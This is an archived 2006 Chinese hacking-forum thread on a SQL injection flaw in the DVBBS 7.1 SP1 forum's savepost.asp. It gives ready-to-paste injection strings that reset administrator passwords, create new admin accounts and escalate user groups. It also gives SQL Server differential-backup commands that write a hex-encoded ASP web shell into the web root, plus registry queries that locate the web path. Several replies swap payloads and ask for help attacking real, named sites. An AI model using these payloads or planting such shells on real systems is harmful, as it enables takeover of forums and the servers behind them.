邪恶八进制信息安全团队技术讨论组's Archiver

风尘浪子 2006-5-11 15:54

[原创]对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用

文章作者:风尘浪子
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS 7.1.0 SP1

漏洞分析:
   因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

厂商补丁:
      [url]http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1[/url]


     最新漏洞出来了,之前看见bct的人在qq群叫卖漏洞,要卖500大洋。没想到两天不到,就把漏洞发了。从 [url]http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1[/url]下了个补丁,看了看,修改了许多。仔细看看Savepost.asp,发现也修改了许多地方。
怎么办呢,看不到修改在哪里,只好自己朝下看了。
看到下面:
[code]If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
           If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
           ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
           GetMoneyType = 3
           &#39;UseTools = ToolsInfo(4)[/code]

再朝下看:
[code]Public Sub Insert_To_Announce()
      &#39;插入回复表
      DIM UbblistBody
      UbblistBody = Content
      UbblistBody = Ubblist(Content)
      SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",&#39;"&username&"&#39;,&#39;"&topic&"&#39;,&#39;"&Content&"&#39;,&#39;"&DateTimeStr&"&#39;,&#39;"&Dvbbs.strlength(Content)&"&#39;,"&RootID&","&ilayer&","&iorders&",&#39;"&Dvbbs.UserTrueIP&"&#39;,&#39;"&Expression(1)&"&#39;,"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",&#39;"&UbblistBody&"&#39;,"&ToMoney&",&#39;"&UseTools&"&#39;,&#39;"&ToolsBuyUser&"&#39;,"&GetMoneyType&")"
   Dvbbs.Execute(sql)[/code]

可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。
在悔过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&"
看来应该是这个地方了。
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
利用办法嘛,先注册一个id,找个版面发帖子,
帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
下面是表单内容。

看源代码:
[code]<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="ToMoney" size="4" value="">
<div id="Buy_setting" style="display:none">
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br />
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>[/code]

就是这个地方了,hoho。
下面有个“可购买名单限制”,里面就填写:
[quote]xjy111&#39;,0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]=&#39;yellowcat&#39;)/**/where[UserName]=&#39;qq156544632&#39;;--[/quote]

提交成功。
看看我的Email。
晕死,居然成了空白。不知道为什么哈。
来点直接的:
[quote]coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;qq156544632&#39;;--[/quote]

这回好了,先退出,用admin888这个密码直接成功登录。
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)
或者差异备份(后台可以看到web绝对路径):

[code]create table aspshell (str image);

declare @a sysname select @a=db_name() backup database @a to disk=&#39;D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk=&#39;D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp&#39; with differential;

drop table aspshell;[/code]

另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
[code]create table regread(a varchar(255),b varchar(255));[/code]
(建立一个临时表,存放读取到的信息)
[code]insert regread exec master.dbo.xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots&#39;, &#39;/&#39;
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename=&#39;admin&#39;[/code]

至于acess版本没有研究。

最近正在做毕业设计,日忙,一点也没有时间。发在这里大家讨论去吧。本人是一个大菜鸟,错误难免,或许bct的人发现的不是这个地方呢。
此漏洞危害很大,bct意见把dvbbs官方和某著名论坛搞定了。我是本地测试的,本来想到黑防上面去测试一下,发现不能发金币贴,差点郁闷致死!
吃饭去了。。。闪。

pub!1c 2006-5-11 18:42

[quote][b]这里是引用第[/b][color=#ff0000][3 楼][/color][b]的[color=#000066]reject[/color]于[/b]2006-05-11 18:21[b]发表的:[/b]
建议楼主出来修改澄清下吧....
有些话不能睁眼乱说的.要有真凭实据的.
BCT一直都没卖过漏洞.也不会卖..`[/quote]

可能楼主也是看见有位人QQ上写的签名资料吧,  (为了保护隐私,在此以XX代替;)

以前相关资料的写着XX属于BCT组织,  而QQ签名上贸然的写着 [b]出售动网7.1 SQL最新漏洞可以拿webshell, [/b]  
我想FlyAway 也是误认为 BCT组织在出售其漏洞吧!

风尘浪子 2006-5-11 23:24

我晕啊 [s:72] 怎么大家都针对我啊,怎么这么敏感啊?
我可要说实话了啊,
首先是 魔王,魔王不知道是不是bct的,再教主交流群里面买漏洞,500。
接着是 疯狗 ,疯狗好像是bct的,也在里面卖漏洞,也500,
我怀疑是之前的博客注射漏洞,问剑心 老弟,剑心绝对是bct的,还是500,说便宜点300。
至于入侵某知名论坛,和dv官方,我这还有截图呢。是疯狗在群里面发的,怕别人不相信。
hoho,其实也没什么,不好意思了,这里给bct道个谦。



[s:74]

凉茶 2006-5-15 21:38

access好像不支持多语句的

所以提交后会出现


Microsoft JET Database Engine 错误 &#39;80040e14&#39;

在 SQL 语句结尾之后找到字符。

/bbs/inc/Dv_ClsMain.asp,行1334

风尘浪子 2006-5-15 22:13

access,没有办法,至少我是没有办法, [s:80],
上面差异备份语句,掉了个单引号,这里修正下。。。不好意思。
[code]
0x71713135363534343633322E62616B               
                                                 qq156544632.bak

0x443A5C7275636F6C5F73716C5C61646D696E5C3135363534343633322E617370                                                D:\rucol_sql\admin\156544632.asp

0x3C25657865637574652872657175657374282261222929253E        
                                              <%execute(request("a"))%>


flyaway&#39;,0);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x71713135363534343633322E62616B backup database @a to disk=@s--

flyaway&#39;,0);create table [dbo].[xiaolu] ([cmd] [p_w_picpath]);--

flyaway&#39;,0);insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)--

flyaway&#39;,0);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x443A5C7275636F6C5F73716C5C61646D696E5C3135363534343633322E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--[/code]

其他的自由发挥,如果权限不够,差异备份不行,
可以使用恢复数据库的办法,数据库格式有判断,在这里有一个做好的。
[url]http://www.eviloctal.com/forum/job.php?action=download&pid=32774&tid=16733&aid=3717[/url]
插入的是<%ExeCute request("a")%>

⺌花刺゛ 2006-5-16 21:57

前台提后台
coolidea|||123&#39;,0);Insert/**/into/**/Dv_admin(Password,Username,Adduser,Flag)/**/values(&#39;7a57a5a743894a0e&#39;,&#39;id&#39;,&#39;id&#39;,&#39;1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36&#39;);--

还改啥?

十四郎 2006-5-17 09:52

[quote][b]这里是引用第[/b][color=#ff0000][2 楼][/color][b]的[color=#000066]风尘浪子[/color]于[/b]2006-05-11 23:24[b]发表的:[/b]
我晕啊 [s:72] 怎么大家都针对我啊,怎么这么敏感啊?
我可要说实话了啊,
首先是 魔王,魔王不知道是不是bct的,再教主交流群里面买漏洞,500。
接着是 疯狗 ,疯狗好像是bct的,也在里面卖漏洞,也500,
我怀疑是之前的博客注射漏洞,问剑心 老弟,剑心绝对是bct的,还是500,说便宜点300。
.......[/quote]


我可以证明你说的完全真实!

此漏洞是不是只针对sql版本啊?

wyulnnhtg 2006-5-17 10:13

sql动网的论坛不好找啊.
前段时间通过备份access数据库,明明代码已经在备份后的asp文件中了..可它就是不运行..
现在也不解..

林立秀 2006-5-17 11:16

修改前台登陆密码
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

顺道问一句.有个论坛找不到管理员的帐号.
[url]http://xxxx.com.cn/bbs/dispuser.asp?name=admin[/url] 可惜不是管理组
有什么办法可以爆出管理员组中的所有帐号?

十四郎 2006-5-17 11:20

[quote][b]这里是引用第[/b][color=#ff0000][11 楼][/color][b]的[color=#000066]林立秀[/color]于[/b]2006-05-17 11:16[b]发表的:[/b]
修改前台登陆密码
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--
.......[/quote]


去那些版块看看
应该可以看到那些管理员发的帖子
还有有些斑竹也是管理员的 
看看就知道了

topmint 2006-5-17 16:23

[quote][b]这里是引用第[/b][color=#ff0000][9 楼][/color][b]的[color=#000066]wyulnnhtg[/color]于[/b]2006-05-17 10:13[b]发表的:[/b]
sql动网的论坛不好找啊.
前段时间通过备份access数据库,明明代码已经在备份后的asp文件中了..可它就是不运行..
现在也不解..[/quote]

可能是你备份的目录没有执行权限,备份到别的目录试试

leave 2006-5-23 15:39

洞网这种论坛还要讨论干啥..一浏览我的浏览器就会出现假死.快点淘汰..

偶不知道洞网还会坚持多久..ASP的论坛没见过一个效率高的.

洞网前阵子说的要上PHP的,估计没那么容易吧..全部都是老型的网页设计人员,对PHP不熟悉啊..

neeao 2006-5-24 00:18

[quote][b]这里是引用第[/b][color=#ff0000][11 楼][/color][b]的[color=#000066]leave[/color]于[/b]2006-05-23 15:39[b]发表的:[/b]
洞网这种论坛还要讨论干啥..一浏览我的浏览器就会出现假死.快点淘汰..

偶不知道洞网还会坚持多久..ASP的论坛没见过一个效率高的.

洞网前阵子说的要上PHP的,估计没那么容易吧..全部都是老型的网页设计人员,对PHP不熟悉啊..[/quote]
leadbbs不知道你见过没?csdn论坛你上过没?
你跟dvbbs的人很熟悉?

金州 2006-5-24 10:10

asp在国际上各类辅助支持较广,短期之内估计不会退出历史舞台。
至于漏洞,好像所有的程序都在所难免,就像每个人都有失败之处一样,但是成败优劣看得是大局。

haicao 2006-5-24 15:38

access好像是不支持多sql语句执行。
上面的利用方法(update更新表改密码),是在完全了解数据库结构的情况下进去的利用。但是如果不知道数据库表结构的情况下有没好的利用方法?来实现数据库表查询和更新呢?

bear 2006-5-26 14:36

毕竟现在研发PHP的人相对ASP的要少之又少,更何况现在网站这么多,没有技术的网管又一堆堆的,php怎么可能要他们接受呢?html的都做得那么垃圾,asp的就要他们慢慢用别人的程序吧!不过不可否认的是ASP在不久的将来也必然会退出历史的舞台,只是时间的问题!

hbk 2006-5-31 10:51

修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

试了n个都不成功,是admin不是后台管理员的原因。

punxzero 2006-6-5 02:45

[quote][b]这里是引用第[/b][color=#ff0000][16 楼][/color][b]的[color=#000066]hbk[/color]于[/b]2006-05-31 10:51[b]发表的:[/b]
修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

试了n个都不成功,是admin不是后台管理员的原因。[/quote]

你的原因也有可能是这位哥们说的原因 “但是如果不知道数据库表结构的情况下有没好的利用方法?来实现数据库表查询和更新呢?”


access好像是不支持多sql语句执行。
上面的利用方法(update更新表改密码),是在完全了解数据库结构的情况下进去的利用。但是如果不知道数据库表结构的情况下有没好的利用方法?来实现数据库表查询和更新呢?

punxzero 2006-6-5 02:52

压根连自己密码都没改成 自己试了个大的论坛 真失败的。。。
可能是改了表名

sunyy 2006-7-22 03:00

coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

我也是试了NNNNN次也不成功 `

sainthwcq 2006-8-6 23:20

请问每条语句如“
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;qq156544632&#39;;--”中的

开头“coolidea|||123&#39;.0)”和最后的“;--”是什么意思啊

backdoor 2006-8-25 16:31

[quote][b]这里是引用第[/b][color=#ff0000][2 楼][/color][b]的[color=#000066]风尘浪子[/color]于[/b]2006-05-11 23:24[b]发表的:[/b]
我晕啊 [s:72] 怎么大家都针对我啊,怎么这么敏感啊?
我可要说实话了啊,
首先是 魔王,魔王不知道是不是bct的,再教主交流群里面买漏洞,500。
接着是 疯狗 ,疯狗好像是bct的,也在里面卖漏洞,也500,
我怀疑是之前的博客注射漏洞,问剑心 老弟,剑心绝对是bct的,还是500,说便宜点300。
.......[/quote]
他们确实是BCT的  汗.........很正常 黑客也要生活

秋若霜天 2006-9-2 14:57

我总是不成功。。哪位大大[url]http://www.ccwresearch.com.cn/bbs[/url]帮我看下这个。。
不论是用论坛上所说的BOKE还是这种办法都不行。。。不是故意要弄这个网站的。。。大家有可以搞的网站可以推荐个。我想试试。

自来也 2006-11-24 19:52

我觉得这个是SQL专门的漏洞吧?也没见广为流传,肯定是SQL才有的吧?
ACCESS试了好几个都不行

net-owl 2006-11-25 00:39

一般都是这样的,有时候还只能本地成功。远程就不行了。反正干扰因素挺多的

b0r3d 2007-10-3 03:19

[code]coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserGroupID=&#39;1&#39;/**/where[UserName]=&#39;用户ID&#39;;--[/code]加入前台管理员组
[code]coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--[/code]修改前台admin的密码为admin888

这两个都可以成功

[code]coolidea|||123&#39;,0);update/**/Dv_admin/**/set/**/UserGroupID=&#39;1&#39;/**/where[UserName]=&#39;用户ID&#39;;--[/code]加入后台管理员组
[code]coolidea|||123&#39;,0);update/**/Dv_admin/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--[/code]修改后台admin的密码为admin888
这两个怎么都不成功,发帖子提交的时候老是出现
[quote]Microsoft JET Database Engine 错误 &#39;80040e14&#39;

在 SQL 语句结尾之后找到字符。

/bbs/inc/Dv_ClsMain.asp,行1334[/quote]

可以确定是sql的,因为在后台登陆页面那里显示是sql7.1版本的.

tpxyhedan 2007-10-4 15:30

*** 作者被禁止或删除 内容自动屏蔽 ***

sunwear 2007-10-4 18:42

[quote]引用第26楼tpxyhedan于2007-10-04 15:30发表的 :
现在好象很难拿到吧。
试了2个没成功。
这说明了一个问题,很严重的问题---我太菜了。
继续学习[/quote]
跟时间没问题
是跟你所找的目标的问题
假如存在漏洞 必然可以成功
以后类似帖子不要发了

页: [1]
© 1999-2008 EvilOctal Security Team